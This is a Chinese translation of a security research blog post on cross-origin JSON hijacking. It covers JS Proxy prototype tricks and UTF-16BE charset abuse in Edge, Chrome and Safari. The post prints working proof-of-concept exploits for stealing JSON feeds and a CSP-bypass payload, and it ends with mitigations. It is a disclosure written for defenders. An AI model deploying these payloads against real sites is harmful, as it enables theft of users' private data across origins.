前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >当代 Web 的 JSON 劫持技巧

当代 Web 的 JSON 劫持技巧

作者头像
Seebug漏洞平台
发布2018-03-30 10:07:29
2.4K0
发布2018-03-30 10:07:29
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

Benjamin Dumke-von der Ehe 发现了一种有趣的跨域窃取数据的方法。使用JS 代理,他能够创建一个 handler,可以窃取未定义的 JavaScript 变量。这个问题在 FireFox 浏览器中似乎被修复了,但是我发现了一种对 Edge 进行攻击的新方式。虽然 Edge 好像是阻止分配 window.__proto__ 的行为,但是他们忘了 Object.setPrototypeOf 这个方法。利用这个方法,我们可以用代理过的 __proto__来覆盖 __proto__ 属性。就像这样:

<script>  
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{  
 has:function(target,name){
  alert(name);
 }
}));
</script>  
<script src="external-script-with-undefined-variable"></script>  
<!-- script contains: stealme -->  
Edge PoC stealing undefined variable

如果你在跨域脚本中包含 stealme,你将会看到浏览器弹出了该值的警告,即它是一个未定义的变量。

经过进一步的测试,我发现通过覆盖__proto __.__ proto__可以实现相同的效果,在 Edge 浏览器上对应 [object EventTargetPrototype] 。

<script>  
__proto__.__proto__=new Proxy(__proto__,{  
 has:function(target,name){
  alert(name);
 }
});
</script>  
<script src="external-script-with-undefined-variable"></script>  
Edge PoC stealing undefined variable method 2

很好,我们已经能跨域窃取数据了,但我们还能做什么呢?所有主流浏览器都支持脚本的 charset 属性。而我发现 UTF-16BE 字符集尤其有意思。UTF-16BE 是一个多字节字符集,那么实际上是两个字节组成了一个字符。例如你的脚本以 [" 开头,将被认为是 0x5b22 而不是 0x5b 0x22。而 0x5b22 恰好是一个有效的 JavaScript 变量 =) 你能看懂这是怎么回事吗?

假设我们有一个来自 Web 服务器的响应,返回一个数组文本,我们便可以控制它的一部分。我们可以使用 UTF-16BE 字符集使数组文本成为未定义的 JavaScript 变量,并使用上面的技术窃取到它。唯一要注意的是,组成的字符必须形成一个有效的 JavaScript 变量。

例如,让我们看看以下相应:

["supersecret","input here"]

为了窃取到 supersecret,我们需要注入一个空字符,后面带着两个 a's ,出于某些原因,Edge 不会将其视为 UTF-16BE,除非它具有这些注入的字符。或许它在进行一些字符编码的扫描,亦或是截断相应和 NULL 后面的字符在 Edge 上不是一个有效的 JS 变量。我不确定,但是在我的测试中,似乎需要一个 NULL 与其他一些填充字符。参见下面的例子:

<!doctype HTML>  
<script>  
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{  
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>  
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>  
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->  
Edge PoC stealing JSON feeds

所以我们想以前一样代理 __proto__ 属性,使用 UTF-16BE 编码包含脚本,而且响应的字符文本中包含了一个 NULL,后面跟着两个 a's。然后我解码了通过移 8 个二进制位编码的 UTF-16BE ,获得了第一个字节,并且通过按位“与”操作获得了第二个字节。结果是一个弹出警告窗口, ["supersecret","。如你所见,Edge 似乎在 NULL 后截断了响应。请注意这种攻击是相当受限的,因为许多字符组合不会产生有效的 JavaScript 变量。然而,窃取少量数据可能是有用的。

在 Chrome 中窃取 JSON 推送

情况变得更糟了。Chrome 更加开放,有更多的异域字符编码。你不需要控制任何相应,Chrome 就可以使用该字符编码。唯一的要求便是之前所述,组合在一起的字符产生了一个有效的 JavaScript 变量。为了利用这个“特征”,我们需要另一个未定义的变量泄漏。一眼看上去 Chrome 似乎阻止了覆盖 __proto__ 的行为,但是它们还忘记了 __proto__ 的深度。

<script>  
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{  
    has:function f(target,name){
        var str = f.caller.toString();
        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>  
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>  
<!-- script contains the following response: ["supersecret","abc"] -->  

注意: 这一点已经在 Chrome 54 版本被修复

Chrome PoC stealing JSON feeds works in version 53

我们在 __proto__ 链中深入 5 级,并且用我们的代理覆盖它,然后接下来的事情就很有趣了。虽然命名参数不包含我们未定义的变量,但是函数的调用者是包含的!它返回了一个带有我们变量名的函数!显然用 UTF-16BE 编码了,它看起来像是这样:

function 嬢獵灥牳散牥琢Ⱒ慢挢崊  

Waaahat? 那么我们的变量在调用者泄漏了。你必须调用函数的 toString 方法,为了获得数据的访问,否则 Chrome 抛出一个通用访问的异常。我试着通过检查函数的构造函数,以查看是否返回了一个不同的域(也许是 Chrome 扩展程序上下文),从而进一步利用漏洞。当 adblock 被启用时,我看到了一些使用这种方法的扩展程序代码,但无法利用它因为它似乎只是将代码注入到当前的 document。

在我的车是中,我也能够包含 xml 或者 HTML 跨域数据,甚至是 text/html 内容类型,这就成为里一个相当严重的信息泄漏漏洞。此漏洞已经在 Chrome 中被修复。

在 Safari 中窃取 JSON 推送

我们也很轻松地可以在最新版本的 Safari 中实现同样的事情。我们仅需要少使用一个 proto ,并且从代理中使用 “name” 而不是调用者。

<script>  
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{  
        has:function f(target,name){
            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>  
Safari PoC stealing JSON feeds

经过进一步测试,我发现 Safari 和 Edge 一样受相同漏洞的影响,只需要__proto__.__proto__

Hacking JSON feeds without JS proxies

我之前提到每个主流浏览器基本都支持 UTF-16BE 字符编码,可你要如何在没有 JS 代理的情况下黑掉 JSON feeds呢?首先,你需要控制一些数据,并且必须以生成有效 JavaScript 变量的方式构造 feed。在注入数据之前获取 JSON 推送的第一部分非常简单,你所需要做的就是输出一个 UTF-16BE 编码字符串,该字符串将非 ASCII 变量分批给特定的值,然后循环遍历该窗口并检查该值的存在,那么属性将包含注入之前的所有 JSON feed。代码如下所示:

=1337;for(i in window)if(window[i]===1337)alert(i)

这个代码被编码为 UTF-16BE 字符串,所以我们实际上得到的是代码而不是非 ASCII 变量。实际上,就是说用 NULL 填充每个字符。要获得注入字符串后的字符,我仅需使用增量运算符,并在窗口的属性之后制作编码后的字符串。继续往下看。

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a  

我将它包装在一个try catch 中,因为在 IE 上 ,当检查 isNaN 时 window.external 将会抛出一个异常。整个 JSON feed 如下所示:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}

Hacking JSON feeds without proxies PoC

绕过 CSP

你可能已经注意到,UTF-16BE 转换的字符串也会将新行转换为非 ASCII 变量,这使它甚至有可能绕过 CSP!HTML 文档将被视为 JavaScript 变量。我要做的就是注入一个带有 UTF-16BE 字符集的脚本,注入至其自身,使其具有编码过的赋值和带有尾部注释的 payload。这将绕过 CSP 策略,其只允许引用同一域下的脚本(主流策略)。

HTML 文档将形似以下内容:

<!doctype HTML><html>  
<head>  
<title>Test</title>  
<?php  
echo $_GET['x'];  
?>
</head>  
<body>  
</body>  
</html>  

注意在 doctype 之后没有新行,HTML 是以这样一种方式构造的,即它是有效的 JavaScript,注入后面的字符无关紧要,因为我们注入了一行注释,而且新行也会被转换。注意,在文档中没有声明字符编码的声明,并不是因为字符集很重要,因为元素的引号和属性将破坏 JavaScript。payload 看起来像是这样(注意为了构造有效变量,一个选项卡是必要的)。

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>  

请注意:这在更高版本的 PHP 中已经被修复了这一点,为了防止攻击,它默认被设成 UTF-8 字符编码的 text/html 内容类型。但是,我只是添加了空白字符编码到 JSON 响应,所有他现在仍处于实验室阶段。

CSP bypass using UTF-16BE PoC

其他编码

我 fuzz 了每个浏览器和字符编码。Edge 对 fuzz 来说没什么用,原因是前面提到过的字符集嗅探,如果你在文档中没有使用确定的字符,他就不会使用字符编码。Chrome 对此非常宽松,因为开发者工具让你通过正则过滤控制台的结果。我发现 ucs-2 编码允许你导入 XML 数据作为一个 JS 变量,但是它甚至比 UTF-16BE 更脆弱。我仍然设法在获得了以下的 XML,以便在 Chrome 上正确导入。

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>  

以上内容在 Chrome 中已经不再有效,但可以当做另一个例子

UTF-16 和 UTF-16LE 看起来也很有用,因为脚本的输出看起来像是一个 JavaScript 变量,但是当包含 doctype,XML 或 JSON 字符串时,它们引起了一些无效的语法错误。Safari 有一些有趣的结果,但在我的车是中,我不能用它生成有相当 JavaScript。这可能值得进一步探索,,但它将很难 fuzz,因为你需要编码字符,以产生一个有效的测试用例。我相信浏览器厂商能够更有效地做到这一点。

CSS

你可能认为这种技术可以应用于 CSS,在理论上是可以的,因为任何 HTML 将被转换为非 ASCII 的无效 CSS 选择器。但实际上,浏览器似乎会在带着编码解析 CSS 之前,查看文档是否有 doctype 头并忽略样式表,这样注入样式表便失败了。Edge,Firefox 和 IE 在标准模式下似乎也会检查 mime 类型,Chrome 说样式表被解析了,但至少在我的测试中并不会这样。

解决方案

可以通过在 HTTP content type 头中声明你的字符编码(例如 UTF-8)来防止字符编码工具。PHP 5.6 还通过声明 UTF-8 编码来防止这些攻击,如果没有的话,就在 content-type 头中设置。

总结

Edge,Safari 和 Chrome 包含的错误让你可以跨域读取未声明的变量。你可以使用不同的编码绕过 CSP 绕过并窃取脚本数据。即使没有代理,如果可以控制一些 JSON 相应的话,你也可以窃取数据。

Enjoy - @garethheyes

原文:PortSwigger Web Security Blog

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Edge PoC stealing undefined variable
  • Edge PoC stealing undefined variable method 2
  • Edge PoC stealing JSON feeds
  • 在 Chrome 中窃取 JSON 推送
  • 在 Safari 中窃取 JSON 推送
    • Safari PoC stealing JSON feeds
    • Hacking JSON feeds without JS proxies
    • 其他编码
    • CSS
    • 解决方案
    • 总结
    相关产品与服务
    云开发 CLI 工具
    云开发 CLI 工具(Cloudbase CLI Devtools,CCLID)是云开发官方指定的 CLI 工具,可以帮助开发者快速构建 Serverless 应用。CLI 工具提供能力包括文件储存的管理、云函数的部署、模板项目的创建、HTTP Service、静态网站托管等,您可以专注于编码,无需在平台中切换各类配置。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档